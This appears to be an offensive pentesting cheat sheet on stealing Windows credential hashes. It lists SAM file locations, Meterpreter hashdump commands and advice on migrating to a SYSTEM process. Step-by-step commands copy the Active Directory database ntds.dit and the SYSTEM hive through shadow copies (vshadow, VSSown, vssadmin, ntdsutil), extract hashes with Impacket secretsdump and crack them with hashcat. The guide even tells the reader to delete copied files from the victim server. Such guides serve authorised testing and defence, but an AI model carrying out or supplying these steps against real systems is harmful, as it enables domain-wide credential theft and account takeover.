Win­dows clients use SAM files. Win­dows DC uses ntds.dit to store all hash­es from the domain.

SAM

C:\windows\repair\sam
C:\windows\System32\config\SAM
C:\windows\System32\config\RegBack\SAM

Alter­na­tives in meterpreter:

run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
run hashdump
hashdump (load module before: use priv)
creds_all

If hash­dump does­n’t work:

• Try anoth­er meter­preter shell. E.g. the PHP meter­preter shell lacks some capa­bil­i­ties. Try to exe­cute a native OS meter­preter reverse shell on the victim.
• Try to migrate to anoth­er process which runs as SYSTEM. Even as an admin­is­tra­tor, it can be that you can­not read the SAM file. But if you inject a meter­preter ses­sion as SYSTEM, then it works. (Inter­est­ing blog post)

Notes

• samdump2 can extract hash­es out of Win 2000/XP/NT/Vista SAM files.
• If the file is not acces­si­ble, try hash­dump in Meter­preter (if not avail­able, load use priv before).

Format

Username : UID : LM hash : NTLM hash : : :

For hash­cat, use ‑m1000 and copy the NTLM hash.

Shadow Copies

A Shad­ow Copy is a back­up of a vol­ume to make snap­shots. If we are a (domain) admin, we can use vshadow.exe to extract sen­si­tive files like the NTDS.dit file (the Active Direc­to­ry Data­base File).

Pre­req­ui­sites:

• Admin­is­tra­tive privileges

Exam­ple to get the Active Direc­to­ry Data­base file:

1. Per­form a shad­ow copy with vshadow.exe (see p61 repo to upload)
   vshadow.exe -nw -p C:
2. Copy the ntds.dit file from the shad­ow copy to the “live” filesys­tem:
   copy $addHereTheShadowCopyDeviceName\windows\ntds\ntds.dit C:\Temp
3. Copy the Sys­tem hive from the reg­istry:
   reg.exe save hklm\system C:\Temp\system_hive.bak
4. Copy these two files to your own system.
5. Use Impack­et’s secrets­dump to extract the juicy infor­ma­tion:
   impacket-secretsdump -ntds ntds.dit.bak -system system_hive.bak LOCAL
6. Use or/and crack the obtained credentials.

VSSown

Use VSSOwn to cre­ate a “back­up” of ntds.dit. Upload it to the vic­tim and then:

vscript vssown.vbs /status
vscript vssown.vbs /start
vscript vssown.vbs /create /c

Then, copy ntds.dit, SAM and SYSTEM from the back­up to the attack­er system:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[$SomeNumberHere]\windows\ntds\ntds.dit ntdsbackup.dit
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[$SomeNumberHere]\windows\system32\config\SYSTEM systembackup.bak
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[$SomeNumberHere]\windows\system32\config\SAM sambackup.bak

Now, use Impack­et’s secretsdump.py.

VSSAdmin

Vssad­min lets man­age shad­ow copies. On a Win­dows com­mand, list all shad­ow copies:

vssadmin.exe list shadows

If there is no (cur­rent) one, cre­ate a new shad­ow copy:

vssadmin create shadow /for=c:

Exe­cute the list com­mand and note the num­ber of the shad­ow copy. Now, copy the inter­est­ing files:

copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$HERETHENUMBER\windows\ntds\ntds.dit c:\temp\ntds.dit
reg save hklm\system c:\temp\system /y

Now, copy both files to your local sys­tem. (And delete them from the serv­er!) Extract the hashes:

secretsdump.py -ntds ntds.dit -system system -outputfile hashes.txt LOCAL

NTDSUtil

The ntd­su­til has a “Install From Media” (IFM) fea­ture which can be used to cre­ate a domain backup.

ntdsutil "activate instance ntds" "ifm" "create full C:\mybackup" quit quit

Then, get the files from the direc­to­ry and pro­ceed with secretsdump.py.